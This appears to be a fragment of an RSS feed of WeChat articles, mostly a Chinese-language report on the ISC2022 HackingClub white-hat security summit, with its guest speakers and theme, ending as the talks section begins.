src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p style="margin-bottom: 0px;"><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484598">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=13e80b65&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484598%26idx%3D1%26sn%3D3b59424c1a1cc58697de17a60e7e5072%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Mar 2023 12:57:00 +0800</pubDate>
    </item>
    <item>
      <title>炽热如初 向新而生｜ISC2022 HackingClub白帽峰会圆满举办！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484585&amp;idx=1&amp;sn=4660dba235ba65b66bdd6117c7ad6940</link>
      <description>emmm 别意外，我们和ISC现在是生态合作伙伴</description>
      <content:encoded><![CDATA[<p>
<span>HackingClub</span> <span>2022-08-04 18:44</span> <span style="display: inline-block;">陕西</span>
</p>

<p>emmm 别意外，我们和ISC现在是生态合作伙伴</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2a20246c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy0SngU9TwbBKexzn7QicgO1UBtrcs1lCY0xMCn9ibtpqO0uriaSIJ6XcibxBuHKkCJiaCw8Vld3ElNbiarA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-galleryid="" data-ratio="0.23541666666666666" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 677px !important;" data-type="gif" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=e437be6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F0HUPFawNZ7zEcCsnyzgzXahT5Meibg4gEhYD3uuH9H63SviaagqUn4ACibab7RcrXYwbug8zXZNehstyRK6HlgKxQ%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section powered-by="xiumi.us" style="margin: 10px 0px -11px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;transform: translate3d(28px, 0px, 0px);visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;color: rgb(255, 216, 0);visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;white-space: normal;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);visibility: visible;">  //  </span></section></section></section><section style="margin: 0px 0px 16px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;visibility: visible;"><section powered-by="xiumi.us" style="margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row nowrap;visibility: visible;"><section style="margin: 0px;padding: 28px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(255, 216, 0);box-shadow: rgb(255, 216, 0) 4px 4px 0px;visibility: visible;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;color: rgb(131, 131, 131);visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: justify;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(131, 131, 131);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;visibility: visible;">8月2日</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(131, 131, 131);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;visibility: visible;">，由ISC2022互联网安全大会和HackingClub安全技术社区联合举办的ISC2022 HackingClub白帽峰会在N世界平台顺利召开。</span></p><section style="margin: 8px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(131, 131, 131);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-backh="312" data-backw="520" data-cropselx1="0" data-cropselx2="520" data-cropsely1="0" data-cropsely2="312" data-galleryid="" data-ratio="0.6" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 619px;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=de366e54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntJic1RuoWziabaBluhYITxS18ZaIP6Kdcxx46PH8DKaDg9PBbekvvibia3A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(131, 131, 131);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;visibility: visible;">查看回放：<a href="https://isc.n.cn/?cid=iscyY054&amp;ncode=C241P&amp;sid=785016" target="_blank">https://isc.n.cn/?cid=iscyY054&amp;ncode=C241P&amp;sid=785016</a></span></p><p style="margin: 16px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: justify;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">ISC2022 HackingClub白帽峰会再开先河，以</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(61, 167, 66);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">“一场关于漏洞的进化论”</strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">为主题，从全新的“漏洞进化”视角，同监管领导、行业专家、厂商代表及百余家安全战队和广大安全研究员齐聚一堂，共同探讨网安发展二十年中的演进与变化。</span><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></p></section></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;display: flex;flex-direction: column;justify-content: center;align-items: center;visibility: visible;"><section data-original-title="" title="" data-num="2" hm_fix="291:313" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 192, 0);font-size: 60px;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">1</strong></section><section data-width="15%" style="margin: -35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 101.547px;height: 1px;background-color: rgb(255, 192, 0);overflow: hidden;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></section></section></section><section style="margin: 0px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(34, 34, 34);text-align: center;letter-spacing: 1.5px;transform: rotate(0deg);visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(98, 93, 86);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;background-color: rgb(255, 250, 246);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">重磅嘉宾 阵容强大</strong></span></span></section><section style="margin: 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;line-height: 2em;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;visibility: visible;">本届峰会</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;visibility: visible;">特别邀请到了中国信息通信研究院安全研究所孟楠副所长、<span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;visibility: visible;">CNNVD(国家信息安全漏洞库)负责人任望、</span>CNCERT(国家互联网应急中心)运行部贾子骁博士、公安部第一研究所信息安全部副主任胡光俊为峰会</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;visibility: visible;">致辞，<span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);visibility: visible;">嘉宾们在致辞中基于漏洞行业的发展分别发表了宝贵的建议</span>。</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;visibility: visible;"><section style="margin: 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: justify;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-backh="2301" data-backw="578" data-galleryid="" data-ratio="3.9814814814814814" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 677px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=eba49533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7yEIsxjMibMxoPl5BxmCjLYB6rKrTWZdhIwFsqtaNcwAypGF3owRGlpXChzYBd7f7PtZvv48icJIqYA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p></span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;line-height: 2em;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;visibility: visible;">同时，嘉宾们纷纷对HackingClub的理念表示认可，给予白帽子们很大的鼓舞和激励，也希望我们大家能够以之为勉，奋发进取，在安全这条道路上行稳致远</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;visibility: visible;">。</span></section></section><section powered-by="xiumi.us" style="margin: 20px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(246, 152, 106);font-size: 20px;visibility: visible;"><section style="margin: 10px 0px 5px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;flex-direction: column;justify-content: center;align-items: center;visibility: visible;"><section data-original-title="" title="" data-num="2" hm_fix="291:313" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 192, 0);font-size: 60px;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">2</strong></section><section data-width="15%" style="margin: -35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 101.547px;height: 1px;background-color: rgb(255, 192, 0);overflow: hidden;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></section></section></section><section style="margin: 0px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;letter-spacing: 1.5px;transform: rotate(0deg);visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(98, 93, 86);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;background-color: rgb(255, 250, 246);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">干货议题  精彩纷呈</strong></span></span></section><section style="margin: 0px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;letter-spacing: 1.5px;transform: rotate(0deg);visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: justify;caret-color: rgb(51, 51, 51);visibility: visible;">在嘉宾致辞之后，我们迎来了精彩议题演讲。</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);text-align: left;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(61, 167, 66);"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word 